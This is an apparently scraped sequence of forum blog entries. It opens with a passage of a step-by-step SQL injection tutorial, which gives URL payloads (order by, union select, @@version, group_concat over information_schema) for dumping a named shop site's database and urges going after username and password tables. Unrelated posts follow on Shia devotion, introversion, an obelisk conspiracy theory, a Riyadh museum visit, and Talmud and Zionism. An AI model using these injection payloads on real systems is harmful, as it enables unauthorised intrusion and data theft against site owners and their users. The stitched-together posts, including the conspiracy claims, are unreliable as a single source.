    www.TatbirBlades.com/products.php?prodID=25 

    and add a bit of code to the end:

    www.TatbirBlades.com/products.php?prodID=25+order+by+1

    keep changing the number by the end by increments of 1 till you get an error. the last number before the error is how many columns are on the table. 

    so if the final code you enter before an error is 

    www.TatbirBlades.com/products.php?prodID=25+order+by+15

    you know then, that there are 14 columns in total. 

    so for example if there are 10 increments so far and no error:

    columns.PNG

     

    but when you do the 12th column you get this error:

    success.PNG

    you know that there is no 12th column, so there must be 11 columns. 

    (4) FINDING OUT WHICH OF THESE COLUMNS ARE SENSITIVE TO ATTACK

    a vulnerable column is one that allows us to submit an SQL query into the SQL table, through the website URL. 

    lets say that our table have 4 columns. 

    we would enter this code

    www.TatbirBlades.com/products.php?prodID=25+union+select+1,2,3,4. sometimes you have to put a minus sign - instead of an equals sign = before the first +, so for example

    www.TatbirBlades.com/products.php?prodID-25+union+select+1,2,3,4 

    instead of 

    www.TatbirBlades.com/products.php?prodID=25+union+select+1,2,3,4

    the page will load properly, except a random number showing up somewhere. take a note of this. this is the vulnerable column. 

    lets say the number 2 pops up somewhere randomly on the page. we then know that column 2 is the vulnerable one. 

    lets use a real example. 

    Lets imagine we have the following result from typing one of the above two URLs:

    union.PNG

    the numbers 11, 7, 2 and 9 appear. 

    we then use the other code (not using the minus after the equals sign) and get this:

    origina.PNG

     

    we can see that the difference between the two, is the number 11. 

    this means that the 11th column is the vulnerable one. BOOM TOWN. 

    thats actually the hardest bit of an SQL injection done. 

    lets recap

    - we identified that the site www.tatbirBlades.com could be victim
    - we identified the size of the table
    - we identified which of the columns in the table are vulnerable

    next, we enter the last code we just used to identify the vulnerable column (i.e. the one that shows the vulnerable column number. in this case it is the one with the minus sign after the equals sign), with an extra bit on the end -  @@version

    So the code would look something like this:

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,@@version

    this will tell us the version of SQL being used by the website. 

    when you enter the code, you will see something like this:

    @@.PNG

     

    The server is using Sql version 5.1.69, most probably MySQL (pretty common). Also we know the OS is Ubuntu.

    STEALING THE DATA

    we have all the info we need now. 

    In our query which we used to find vulnerable columns (i.e. www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11), we will replace the vulnerable column with table_name and add prefix +from+information_schema.tables. The final url will be

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,table_name+from+information_schema.tables

    can you see how the column number (in this case, 11) has been replaced?

    if we enter this URL, we might get something like the following:

    Capture.PNG

    this shows us that the table that column 11 is in, is called "Character_Sets". we dont want just 1 table though, we want the whole database!

    to get all the tables, we simply replace the table_name with group_concat(table_name) to get all tables

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name)+from+information_schema.tables

    We now can see:

    Capture.PNG

    All the tables in the database!!!

    so lets say the list of tables is:


    CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS

    that "EVENTS" table looks pretty juicy to me. I want to steal that one. 

    to do this, first of all I convert the word "EVENTS" to hex code using any free online text to hex translator. the hex code for the word "Events" is:

    4556454e5453

    remember to always add 0x to the start of any hex code, so the full code is:

    0x4556454e5453

    got it? now all you need to do is enter the following URL:

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(column_name)+from+information_schema.columns+where+table_name=0x4556454e5453

    can you see how logically we are building up the commands so far? 

    like I said, its not HARD. its just about knowing how to think, and knowing enough SQL to find out what you need to know. 

    if you have done the code correctly, then you should see a list of all the columns in the EVENTS table:

    Capture.PNG

    We will follow the same pattern as we did so far. We had replaced the vulnerable column (i.e. 11) with table_name first, and then column_name. Now we will replace it with the column we want to obtain data from. Lets assume we want the data from the first column in the above pic, ie. event_catalog. We will put the following URL-

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,EVENT_CATALOG+from+information_schema.EVENTS 

    if you see nothing:

    failure.PNG

    that means that our query was fine (otherwise we would see an error message) but the table we just downloaded is empty. it happens all the time. 

    so we need to steal data from another, more useful table. 

    lets try CHARACTER_SETS and the first column CHARACTER_SET_NAME (we know the first column by repeating the steps above)

    by looking at the name CHARACTER_SETS, we can assume that it will just be a table of the different types of languages that data can be inputted in. luckily, as well as being an expert hacker, I am also a big fan of languages so am really keen to see what languages are used in this database. 

    I enter the following code, in the exact same format as before:

    www.tatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME)+from+information_schema.CHARACTER_SETS

    and get the following:

    success.PNG

     

    so I know what all the values are! 

    In a similar manner you can go through other tables and columns. It will be definitely more interesting to look through a table whose name sounds like 'USERS' and the columns have name 'USERNAME' and 'PASSWORD'.  I would show you how to organise results in a slightly better way and display multiple columns at once. This query will return you the data from 4 columns, separated by a colon (:) whose hex code is 0x3a.

    www.TatbirBlades.org/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME,0x3a,DEFAULT_COLLATE_NAME,0x3a,DESCRIPTION,0x3a,MAXLEN)+from+information_schema.CHARACTER_SETS

    Capture.PNG

    Look at all that lovely, lovely data!!!!

    this is literally the oldest, slowest, most manual way to sql inject. theres a much quicker way to do it, but with this version, you dont need any fancy shmancy software or operating system. you can do it right in your regular old internet browser. 

    get your head around the steps and structure of the SQL commands, next post will show how to automate like 90% of the process. 

  10. So how’s this whole 21st century thing coming along? Yeah.

    With the passage of time, each new era is forced to carry a higher burden and inherit a larger legacy than the generation before. Time is a double edged sword. On one end, more time can expand the opportunity to build constructive relationships, goodwill, positive institutions, and human progress. Conversely, time can serve to widen the accumulation of baggage, knot tighter the machinations of deceit and derision, and aid in the solidification of deviant ideologies, perverse mythologies, and exploitative institutions. In this regard, time is an empty canvas waiting to be marked by any paintbrush, big or small, with whatever paint along the way. 

    Paint is the (im)moral force that gives purpose and relevancy to this big and blank amoral whiteboard known as time. Paint comes in many colors, and can create many designs. Some are beautiful, enhance the surrounding landscape, and work synergistically with other designs, creating a diverse, but single hearted masterpiece. Other paints give ugly imprints, ones that impose themselves unapologetically, have no concern for the holistic creative vision, and serve as an unwelcome blemish. For those who believe in the holy and natural, we know the righteous paints will never tarnish, while the awful ones will water down and fade in their own impurities. 

    So what’s the 21st century portrait looking like? If time is an ever increasing size canvas, yet more paint has been plastered era after era at a much higher proportion, is there anything left for us to put? Anything we can add, or are we simply overwhelmed handling what’s already been dried on? I think the latter is the case. This is our destiny and burden. Our mission will not be to make history, but rather detoxify and realign what’s been accumulated - the human, economic, social, political, environmental, ideological…and all the rest. To redirect towards a proper moral direction. To clean up the mess of our dead ancestors. To not give birth, but to raise what’s been born. 

    We are being helped by science and technology, growing at a faster pace than ever before. We are helped by a huge explosion in the information sector, ease of travel and communication, and a range of logistical conveniences. We can interpret these things as proof of human accomplishment, but more importantly I would humbly call it a gift from above - to help aid us with our mission, as if our creator knows what we need. Divine guidance and support!

    All of us were chosen and raised in a certain time period for a reason, only known to our creator. We shouldn’t let ourselves get wrapped up in self-importance or arrogance about this. Are we “better” or just “different” than those in other times? I don’t think we have the time to worry about such a question. 

    References to war are rife throughout history, and that’s the case here. Specifically, the concept of “total war”, where every resource down to the minute is involved in the effort. In today’s case, every capital resource - the community, personal, psychological, technological - are essential for our mission, and no individual is beyond the scope of relevance and suitability. We have no choice but to go “all in”, and nothing can be held back, if we want any chance of success of a dignified outcome. 

    So this affects me of course, because it instantly puts me on notice. What can I clean up? What micro changes can I contribute, throw in the pot, to help with the macro efforts? The degree of inward digging should hopefully correlate to outward action. I am proud of living in this era, because it gives me an incentive for spiritual and personal re-examination. 

    What do you guys think?

     

  11. :bismillah:

    :salam:

    Let's spread some light on how life is when you're an introvert. Now, I've seen many people claiming to be introverts when they read about us but just because you can relate to a few of the things doesn't make you one of us, you loser! Everyone's a bit introverted and a bit extroverted. If you're more introverted, you're an introvert and the same for an extrovert. If you're somewhere in between, you're an ambivert and that's no fun at all. Seriously, you're no fun.

    For starters, introverts are pretty selective about who they talk to mostly. For the ones we do care about, we talk a lot, we're chatterboxes! But we're more on the listening side. When with someone new, we listen, we smile, we don't know what would be the right thing to say... Yups! But even after being with friends, it becomes exhausting. Extroverts are like leeches, always ready to feed on energy when it comes to socializing. Poor introverts only give energy when we socialize which makes it really exhausting after some time. So, we want to be left alone for some time so we can recharge. So, keep away!

    Image result for how to deal with an introvert

    See that bubble up there, extroverts? Try not to burst it, you monsters! We feel really safe inside of it. Yeah, you can't see it but you can get an idea of what you're being really annoying. Trust me! We're amazing once we let you in that bubble but try to keep it slow and let us learn if you're our type or not. We're sensitive, you know... Nah! We're not. At least all introverts aren't. We can be heartless too. *wink*

    Image result for cyanide and happiness introvert

    Calls... Oh! Please don't call... We can chat through Whatsapp or how about SMS? :) If you're an introvert, you'll get it.

    Although we don't like to socialize much but getting ignored isn't that great either. We're pretty happy by ourselves too. Unlike extroverts, it's not that easy for an introvert to get bored. Especially when you have shiachat to waste time on... Or reading too. Yes, we do that too.

    Like I said before, we're great listeners but an introvert with a great imagination will get lost in his own fantasy world the moment you start to get boring. Don't believe me? The next time you've been talking to an introvert for too long, when you finish, you'll see him/her smile only. You know why? Cuz s/he has no idea what you said. So, s/he just smiled. I do that a lot too. Extroverts do that too... So rude of them!

    Well, I think that's all for now. I can't really come up with anything else for now. Update complete! Time for gaming!

    Introvert, signing out!

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    Imame zamana ajtf said:-

    Surely I am indeed the cause of security for the inhabitance of the earth just as the stars are the cause of security for the inhabitants of the sky .

    Nature is showering blessings on us .....

    Earth holds us sky covers us

    Water ,food ,air,lify,children,parents, knowledge,..........,endless ne'mats by God

    Have we ever ponder into the reason behind these blessings ??????

     

    All these blessings are from tawassul of imam ajtf  that moon of bibi sa who is waiting occultation

    jiska sadka hai ye duniya

     not only this world but all the worlds 

    Eonlyrearure of this world and all other worlds  

    The biggest ne'mat of lord his last hujjat ajtf himself says he is our cause of security

    Not only for this decade but since he was born since he went in occultation till the day of judgement

    In correspondance to this blessing we give him our manipulated worthless  prayers ,our  gossips,our records of missed prayers , our sins,our friendships with namehrams, our lost dignity from eyes ,zina,accusations and insults of momins ......our gifts are truly precious and endless

    Imam e wali e asr ajtf says :-

    Or meri  ghaibat me mjhse istefada Ki suurat is tarah hai jese sooraj se istefada  kiya jata hai jab badal ussey aankho se ojhal krdeta hai.

    Kamaluddin vol 2

    Sun covered from clouds in winters still people gets light and benefits from it inspire of being covered by clouds likewise imam as says in his occultation his followers will be benefitted the same as from a covered sun

    Decades have been passed not only decades but 100's of years still he is unable to find his 313

    We are waiting but what's wrong in our preparations that Allah is not listening to our prayers ?

     

    Are we only waiting or preparing as well 

    Or this modern world is stopping us from preparing 

    Huge and huge pillars of sins are obstacles between imam ajtf and his followers

    Do we really know our imam as? 

    Inshaallah will try to know our imam ajtf and try to find out the reasons stopping us meeting our imam 

    Let's make this century the last century of pain of our imam ajtf 

     

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    :salam:

    nw9vhOR.jpg
    Obelisks were prominent in the architecture of the ancient Egyptians, who placed them in pairs at the entrance of temples. The word "obelisk" as used in English today is of Greek rather than Egyptian origin because Herodotus, the Greek traveller, was one of the first classical writers to describe the objects. A number of ancient Egyptian obelisks are known to have survived, plus the "Unfinished Obelisk" found partly hewn from its quarry at Aswan. These obelisks are now dispersed around the world, and fewer than half of them remain in Egypt.

    What are these Obelisks and why are they everywhere?

    T75qN3P.jpg


    Almost every city I have been to has one, some sources say that this is the symbol of Freemasons presence in the city. Others say that this is a satanic symbol, representing a phallic symbol of Satan. 

    We know for sure as Muslims this shape represents satan because this is the pillar we stone in Hajj, or at least we used to..

    wt40br6.jpg

    c6TNAR7.jpg


    These Obelisks used to represent satan and we muslims would throw pebbles at it as part of hajj. 

    They are no longer there. The Saudi Arabian authority has removed them and replaced them with walls.

    sex7R2d.jpg
     

    They did this without the consent of anyone. What right did they have to demolish the original obelisks and replace them with walls.

    So why are there Obelisks all over the world? 

    iX1HDIv.jpg

    This is just another conspiracy theory.... But don't you think it has any substance to it?
    In the very least if it does not, are we not supposed to question Saudi Arabia's decision in replacing it with a wall rendering the throwing of the jamarat useless in my opinion. It is as if they are protecting satan.

    Salamat

  12. NormaL_UseR
    Latest Entry

    I'm still transcribing although had a long gap where didn't do, I want to finish the Hamid Algar series and I am doing another series of 9 lectires which I hope to finish by Ramadhan, i've done the first lecture but it's a secret (not really but I will post when ready) but keep an eye out and hope you benefit

  13. Spent a nice late afternoon/ early evening at the National Museum in Riyadh. Entry costs 10 Riyals and is well worth the admission. The place is built for large crowds weekday mornings seem to be set aside for parties of school kids. While I was there I only saw one Saudi couple and a party of four Germans and their English speaking guide.

    So a nice and peaceful experience.

    All signage is in Arabic and good English.

    The exhibition starts of with natural history (dinosaurs etc.), with plenty of quotations from the Quran. I walked through that pretty quickly because there did not seem to be anything that isn't done better everywhere else.

    Then the interesting stuff about the Arabian peninsula starts. Lots of early vases and implements, together with photos of excavations of early settlements and also actual mock-ups. The east and Yemeni coasts of the peninsula seem to be almost littered with abandoned towns. Many seem to have served trade routes and there seem to have been times in the peninsula's history when the nomads had the upper hand and times when it paid to be settled.

    The last exhibits on the ground floor deal with the Jahiliya period, before you take an escalator upstairs for the start of the Islamic period.

    The early part of the Prophet's (saw) story is told on posters, together with blow-up maps and copies of real and facsimile Qurans. The narrative is what you'd expect with minimal references to the Ahlulbayt (a.s.).

    The coverage then moves onto the Ummayad and Abbasid periods and after the Ottomans its the Saudi family history. There's a whole gallery about the latter and a mini-cinema that shows a film about how the modern state was founded. The showcases have lots of guns from the early 20th century. 

    Surprisingly there's next to nothing about the oil industry and its history in the Kingdom. 

    There's a tiny cafe (for takeaways) and the souvenir shop does not sell fridge magnets. So there was nothing to keep me and I walked out to the street to find a taxi with an Urdu speaking driver (easy peasy).

    The image is of the bag that is used to hold to key to the house of the Prophet (s.a.w.) in Madinah.

    IMG_1764b.jpg

  14. hameedeh
    Latest Entry

    Doctors take an oath to their patients: "First, do no harm." Consider this statement: "Speak the truth, but not to punish." I am making it my goal to show kindness to others, and that includes what I say as well as what I do. Bismillah.

     May your days be sunny, your nights restful, and your heart satisfied with the blessings that Allah has given you. Think Positive. 

  15. Banu Musa

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    Reposting my old post and summarizing some comments to it.

    Quite a few Christians, especially Protestants, claim the following combination of beliefs that I find highly disturbing:

    1) That “pharisaic” Judaism and its central text, Talmud, are “satanic”

    2) That Islam is similar to Talmudic Judaism and therefore, by extension, is also “satanic”

    3) That the entire world must support the state of “Israel” and that Palestinians are bad, because they don't support it.

     

    Since I studied in traditional anti-Zionist rabbinical institutions, I am well familiar with this topic and I would like to say a few words about it.

    Interestingly enough, these beliefs represent in a distilled form the original core idea of Zionism and demonstrate its origins very well. In colonial times, various British and American Protestant theologians of the early 19th century started spreading the idea of the “restoration of the Jews”. Based on their peculiar interpretation of the Christian Bible, they came to believe that if the Jews will gather in Palestine and establish there their own state, such event would trigger the Second Coming of Christ. Apparently, this idea originated from the Catholic Jesuit circles, but found a solid ground among the Anglo-Saxon Protestants, some of whom came to believe to another weird idea that they are the descendents of the original Hebrew tribes and therefore have the right to control Palestine. This website has a large collection of historical articles about these developments within Protestant groups.

    Contrary to Judaism, these people viewed Jews as a race and not a religion. The colonial West in the 18th and 19th centuries was in general obsessed with racial and nationalist theories. The Church condemned the Jewish Talmud since the Middle Ages, primarily because it sharply criticizes the Christian Trinity doctrine and because is written is a style that most Christian couldn't comprehend. After the series of liberal revolutions, more and more assimilated Jews became emancipated in the Western society, but due to the spread of nationalism, new anti-Jewish currents emerged in the West. In contrast to traditional anti-Judaism of the Church, these new currents were based on racial mythologies.

    Some assimilated Jews picked up the “brilliant” solution that early Christian Zionists offered for them: to establish their own state, based on the “enlightened” Western values of secular nationalism and colonial attitudes to non-Western people. Theodor Herzl, the founder of political Zionism, wanted originally to convert all Jews to Christianity, but later modified his views and supported “plain” secularization. Here comes a major paradox: those British and American Christians who supported this idea really wanted the Jews (and everyone in the world) to become Christians, but wished them to move to Palestine, where they could serve as allies of the colonial West. They didn't want anything “Talmudic”; they just wanted to create another “civilized” Western colonial state like South Africa.

    Traditional Talmudic Jews, on their hand, were totally opposed to Zionism, because the Talmud explicitly forbids this idea of gathering in Palestine and establishing their own state. This idea contradicts the basic Jewish belief that only the true Redeemer sent from God can gather them in a miraculous way and even that is not universally accepted. According to some more esoteric Jewish teachings, the future messianic Redemption of universal harmony will transcend state politics altogether.

    This is the real Zionist “conspiracy”: the entire Zionist movement started as a result of cooperation between Anglo-Saxon Protestants and anti-traditional assimilated Jewish nationalists. The Talmud as such plays no role in classical Zionism, except that some isolated concepts from it were adopted as secularized slogans, often in a completely twisted fashion. 90% of Jewish Zionists, let alone the Christian ones, are unable to read the Talmud at all. At best, they may consider it an important historical piece of Jewish literature. Typical high-rank supporters of the Zionist state like bankers and politicians are usually totally secular and have no serious Jewish education. As long as they thinks and acts like their right-wing Protestant Christian fellow ruthless businessmen, they are “cool”. If they would act "Talmudic", they wouldn't fit into the club.

    Since the Zionists captured and twisted the minds of many Jews, new heretical varieties of Judaism emerged from this confusion. Such notorious fascists as Baruch Goldstein or Meir Kahane undoubtedly considered themselves followers of the Talmud. We hear now chief rabbis and famous religious figures supporting Zionism and spreading hatred against the Palestinians and Muslims. How did this happen? Simple enough and in some ways quite similar to Wahhabi currents in Islam.

    The Talmudic corpus and related literature is a very large and complicated collection of texts, which may be compared to the Muslim Hadith collections. The Quran (5:32) contains an explicit quote from the Talmud and affirms the basic traditional Jewish belief that the Talmud contains supplemental parts of Moses' prophecy, which has been transmitted through oral narration. The above verse is found only in the Talmudic literature and not anywhere in the Bible. A number of other verses in Quran also have parallels in the Talmud and not found in the Scripture.

    Besides orally transmitted information from the prophets, the Talmud contains many legal decisions that the Talmudic sages derived using certain logical rules, which were also transmitted from Moses. It also contains historical rabbinical decrees, esoteric interpretations of the Scripture, theological and ethical discussions, various folk legends and even ancient medicinal remedies. Those Christians who tried to study the Talmud and came to hate it didn't get what it is all about. The Talmudic literature is a extremely large and diverse collection of discussions about all sorts of things, recorded during many centuries mostly in Persia and written in a very Persian multilayer story-inside-story style. The largest and most reliable collection is called “Bavli”, which means the Babylonian or Iranian Talmud. It's written mostly in Sassanian dialects of Aramaic, not in Hebrew.

    Practical law or advices comprise only a fraction of the Talmud and are a matter of debates and analysis. Many narrations and interpretations are rejected by the Talmudic text itself, but were still considered worth recording or allowing an esoteric interpretation. In some cases, parallel narrations allow to decide, which variant is more reliable in practice. A number of schools within Judaism, somewhat like Islamic madhhabs, derive various laws from the Talmud by somewhat different rules. One school considers a certain narrator or some text more practically reliable than another etc.

    No one in traditional Judaism, since the Middle Ages, derives any law directly from the Talmud without consulting first classic commentators and existing practical legal literature. Proper understanding of the Talmud requires years of systematic study and reading lots of commentaries.

    Maybe, this link to another Shiachat thread could help the readers to understand where most of these old Christian accusations come from. Anti-Muslim writers use the Ahadith in the same exact fashion, taking things out of context or by amplifying weak rejected narrations.

    Many Talmudic discussions are related to similar theoretical issues. Capital punishment was abolished in Judaism about 2000 years ago, because no one is considered righteous enough to serve as a judge or witness for such serious cases. Even when capital punishment existed, it was very rarely practiced by the line of tradition that became what's known today as rabbinical Judaism. Only very directly committed offenses, with at least two righteous male witnesses and a proper warning, could lead to death penalty. In many cases, the Talmud discusses, whether some weird and disgusting actions could be punished, in theory, by a human court, or whether one who did them may perform certain religious rituals. Such discussions also help to understand the metaphysical, philosophical and esoteric underpinnings of various laws.

    One classic example that Christians constantly use against the Talmud is that a Jew who kills a non-Jew is exempt from death penalty. First of all, some commentators explain that it only applies to people who worship idols and have no morality, and not to Christians and Muslims. Murder of a Jew or non-Jew is a terrible sin, whether punishable by human means or not. Second, the Talmud lists many other situations when a murderer is exempt from penalty. The general line in the Talmud is to find all possible ways and arguments to avoid death penalty. A court who would kill even one person in 70 years would be considered a “bloody court” and some sages provided a logic that, in Islamic terms, avoids “hudud” altogether.

    Another classic example Christians use against the Talmud that it allegedly teaches that sex with a girl below 3 years is permitted. Absolutely not! What it says that if such undoubtedly disgusting act happened, the girl would still be considered a virgin and her honor would not be blemished.

    The main and most famous complaint against the Talmud is its alleged teachings of Jewish supremacy. The Talmud never considers non-Jews “subhuman”. That's simply a fabrication. But it does contain pretty harsh statements about idol worshipers and teachings about the Jews' being a people who receive special and unique blessings from God, if they carefully follow Judaism.

    One main source of controversy and potential misunderstanding is that the Talmudic texts sometimes conflate the terms "goy" (non-Jew) and "akum" (abbreviation of "Star worshippers"), because most non-Jews, when the Talmud was written, were "by default" idol worshippers of various kinds. Careful analysis of parallel narrations shows that all this negative stuff is about idolaters. The Talmud praises non-Jewish monotheists, including some Persian kings and other people.

    Another example. Current standard editions of the Babylonian Talmud (Sanhedrin 37a) contain the following: Therefore, humans were created singly, to teach you that whoever destroys a single soul of Israel, Scripture accounts it as if he had destroyed a full world; and whoever saves one soul of Israel, Scripture accounts it as if she had saved a full world. The oldest version of this Talmudic quote correspond exactly to the Quran 5:32 and don't mention Jews in particular. The Yerushalmi Talmud, the Midrashim and several other parallel transmissions of this quote also don't mention the word "Israel". Even in the case of the common Babylonian Talmud editions, this quote makes a difference between Jews and immoral non-believers, but does not, exclude non-Jews who practice an ethical monotheistic religion, as it is easy to prove by the internal logic of the same Talmudic tract, which praises non-Jewish monotheists and equated them with the Jewish High Priest who served at the Jerusalem Temple (Sanhedrin 59a). In Islamic terms, this is an example of a "weak Hadith".

    The basic practical Talmudic structure of categories of believers/unbelievers, as their are interpreted in Judaism, goes as follows:

    Good people:


    1. Torah-observant Jews, who receive special blessings for following Moses' prophecy. A convert to Judaism is a Jew. According to traditional Judaism, it doesn't matter, whether Jews today are descendents of the ancient Hebrews or Khazars or Romans.

    2. Righteous non-Jews, who follow the prophecy of Noah and receive special blessings. Muslims are usually included in this category or in a somewhat different respected category of people. Trinitarian Christians are included by many opinions, but it's a matter of debate. Some schools of thought completely equate Muslims and Christians with the Jews on social and spiritual level. More liberal rabbinical authorities include all ethical people into this category, including polytheists and atheists, using basic ethics as the main criterion of righteousness. I personally agree with this opinion.

    It's a duty for Jews to support, love, help, treat well, respect all good people.

    Bad people:


    1. Classic idolaters of Antiquity. In times of peace, Jews must treat them well and with hospitality, deal with them fairly, help their poor, but the basic attitude is to stay away from them, not to get too friendly and not to help them too much.

    2. Ex-Jewish outright heretics and non-believers. The worst category in the Talmud. No love, no good treatment here. According to some hardcore opinions, they may be killed even without a court decree. To secular Jewish readers: No, neither me nor most Orthodox Jews today accept this attitude. People get confused and come up with all sorts of ideas. Some atheist definitions of nature or philosophical ground of being are more theologically sound than some other people's weird ideas about God, who may better decide, who is a heretic and who is not.

    The “gray zone”:


    1. Many classic sources of rabbinical law say that the Talmud condemns only the seven ancient Canaanite tribes who practiced human sacrifices or other ancient nations like the Romans who would come to a circus to entertain themselves watching animals tearing people apart or forcing slaves to fight each other to death. So, even someone would erect today a statue, proclaim it as a deity and bow to it, there is still room to disregard this behavior, love and respect such a person. Or, esoterically, one may say that everything is a reflection of God's names and this person in his heart really worships God. On the other hand, because the status of Trinitarian Christianity is a matter a debate in Judaism and because the Church systematically persecuted, killed, tortured and humiliated the Jews until recent times, there are many Orthodox Jews who avoid having close friendship with Christians and have negative opinions of their religion. For Christian readers: No, I don't agree with this attitude and many Orthodox Jews don't. But there is enough room for opposite opinions here. More inclusively minded Orthodox Jews tend to value ethical behavior over religious beliefs, while more hardcore Orthodox tend to regard people as heretics and idolaters for any slight deviation. In any case, traditional Judaism requires to treat everyone nicely and fairly.

    Traditionally, Islam was always considered the closest religion to Judaism. Christianity, on the other hand, was often viewed negatively, although there are many highly positive opinions on it, i.e. by Menachem Meiri, Jacob Emden and Elia Benamozegh. Very many classic commentaries to the Torah and Talmud were written in Muslim countries, often originally in Arabic. Most classical schools of rabbinical law were established in Muslim countries.

    The Zionists turned the Jewish history upside down. They discarded the long history of Jewish-Islamic cultural synthesis and invented the myth of “Judeo-Christian” civilization. Classical Judaism with its Talmud, which explicitly forbids the Jews to create a state in Palestine and which was written in a “politically incorrect” region (Iraq and Iran), has no place in classical secular Zionism.

    But here comes a surprising twist. After the Nazi genocide of millions of European Jews, the Zionist movement captured the attention of most Jews who were well familiar with the long history of traditional Christian anti-Jewish hatred. But the Zionist's best allies and the originators of their ideology were some Protestant sects who don't exactly like Judaism. So the Zionists projected the history of Christian anti-Jewish persecution on the Muslims. To be fair, persecutions did happen under various Muslim rulers, but they were not nearly as common as in the Christian world and they were actions of certain corrupt individuals and not an integral doctrine of religion. The Jews perfectly understood that, but the Zionists seized the moment after the Nazi genocide and managed to confuse many people. Another factor that helped this confusion was that the governments in some Muslim countries made the conditions of the local Jewish communities unbearable after the Zionist state was established and forced them to leave the Arab countries. This was a very bad move, which only popularized Zionism and helped to created this new myth of anti-Jewish Muslim hatred. The final factor is the Salafi/Wahhabi type of Muslims who basically copied the old Christian hatred against the Jews. So, two very anti-traditional and somewhat similar movements, both strangely connected to Anglo-Saxon Protestantism in their ideology - Wahhabism and Zionist pseudo-religion - started fighting each other and polluting the world with their ideas.

    As a result of all that, new forms of “religious” Zionists emerged. All negativity against the idolaters and oppressive types of Christians that one can find throughout the history of Judaism was redirected in a highly amplified and concentrated form to the Muslims. The fact that this negativity has to do with theology (idols and Trinity) was ignored. On the contrary, Muslims became somehow equated in this Zionist twisted version of Judaism with the worst kind of idolaters, who should be normally still treated nicely and without trying to dominate them. But here is a catch: one may kill “even the best of idolaters”, according to the Talmud, during a military combat. The “religious” Zionists declared that their state is in constant war with the Muslims who want to kill all Jews. Such twisted logic basically gives a license to kill. The same exact logic is used by Wahhabis who removed the concept of “Ahl Al-Kitab” from their version of Islam and consider everyone at permanent war with Muslims.

    There is a good book written by Yakov Rabkin, A Threat from Within: A Century of Jewish Opposition to Zionism, which explains how traditional Judaism and Zionism are totally incompatible. The author is an Orthodox Jew and a history professor. I strongly don't recommend books written by anti-religious authors (Israel Shahak) or fanatical right-wing Christians (David Duke, Israel Shamir), because such authors usually have no serious knowledge of Judaism and often promote hatred against both Jews and Muslims under a mask of “anti-Zionism”.

    I hope this rough introduction is clear enough. If people here will find these topics interesting, we could go into more detailed discussions. There also also esoteric trends in Judaism, kind of similar to Bektashis or Alawites, who tend to emphasize things like personal devotion and non-literal interpretations over fixed rules.

    My main interest on this forum is not battling Zionism. I am trying to apply Henry Corbin's methodology to Jewish philosophy and esoterica, and I find studies of Hadith and Irfan in comparison to Talmud and Kabbalah very refreshing and important.

  16. :bismillah:

    "Allah the Exalted ordered Musa [Moses] (a.s.) and Harun [Aaron] (a.s.) to go to Pharaoh. Well, it was a big task for two individuals to go and confront – on their own – a great power that existed at that time: Pharaonic power was a great power in terms of politics and social affairs and even in terms of his influence on the people and his bureaucratic resources. There are many things to be said about the Pharaonic power. Pharaoh was an shocking phenomenon. He was a tyrannical power who did whatever he liked with abundant resources at his disposal."

    "Allah the Exalted entrusted two individuals with the task of confronting and fighting against that person. Hazrat Musa (P.B.U.H) said“If we go, they might kill us and thus our task will remain half-finished.” They were not afraid of being killed. They said that their task would remain half-finished. “He said, ‘Fear not for I am with you. I hear and see everything” [The Holy Quran, 20: 46]. God said that He was with them. Notice that this is divine assistance: “For I am with you. I hear and see everything.” When God says, “God is with those who observe piety” – as I said, if we have piety, God is with us – this divine assistance and accompaniment means that one can send two individuals empty-handed so that they fight against a Pharaoh."

    "Elsewhere in the Holy Quran – of course, this has been repeated in the Holy Quran many times and I am narrating another part of it – when it came to public confrontation and challenge and when Hazrat Musa (P.B.U.H) gathered Bani Israel so that they would get out of the city at dawn, very early in the morning or at midnight, and get rid of Pharaoh, Pharaoh’s spies said to him in the morning – when the sun had risen a little –  that Bani Israel have evacuated the city and that all of them have gone. Pharaoh became agitated as he thought that they would go somewhere else and would create a nucleus. He ordered his army to gather. They gathered the army and chased Bani Israel."

    "I do not know the interval between Bani Israel’s departure and the gathering of the Pharaoh’s army. Perhaps, it took that army one, two days – more or less – to advance. Well, Bani Israel were walking on foot without enough resources. They were a bunch of ordinary people comprised of women, men and children, but the Pharaoh’s army had military equipment, large troops, horses and everything. They would naturally reach them soon and they did so.
    When Musa’s followers saw them from a distance and when they saw that the Pharaoh’s army was approaching, they became nervous. In the Holy Quran – Sura al-Shuara – God says, “And when the two bodies saw each other” [The Holy Quran, 26: 62]. When the two groups – Prophet Musa’s (P.B.U.H) group, which was ahead, and the Pharaoh’s group which was chasing them – saw each other from afar and when they got so close that they could see one another, “The people of Musa said, ‘We are sure to be overtaken’” [The Holy Quran, 26: 62]. Bani Israel, who were with Musa (P.B.U.H), became terrified. They said, “Oh Musa, they will catch us soon.” The Arabic word “mudrakun” means overtakingreaching. They said that the Pharaoh’s army would capture and massacre them shortly."

    "What was Musa’s (P.B.U.H) answer? Prophet Musa (P.B.U.H) said in response, “He said, ‘By no means.’”. He said that such a thing would never happen. Why? It is because “My Lord is with me.” This is divine assistance. He said that God is with him: “My Lord is with me. Soon will He guide me” [The Holy Quran, 26: 63]. Notice that divine assistance has such significance. When they say, “For God is with those who observe piety, and those who do good” the value of this assistance should be appreciated. If we can preserve this divine assistance, you should know that even if some people in the world have a kind of power which is 10 times more than that of America – let alone the power of America itself – the divine power which accompanies us will overcome them."
     
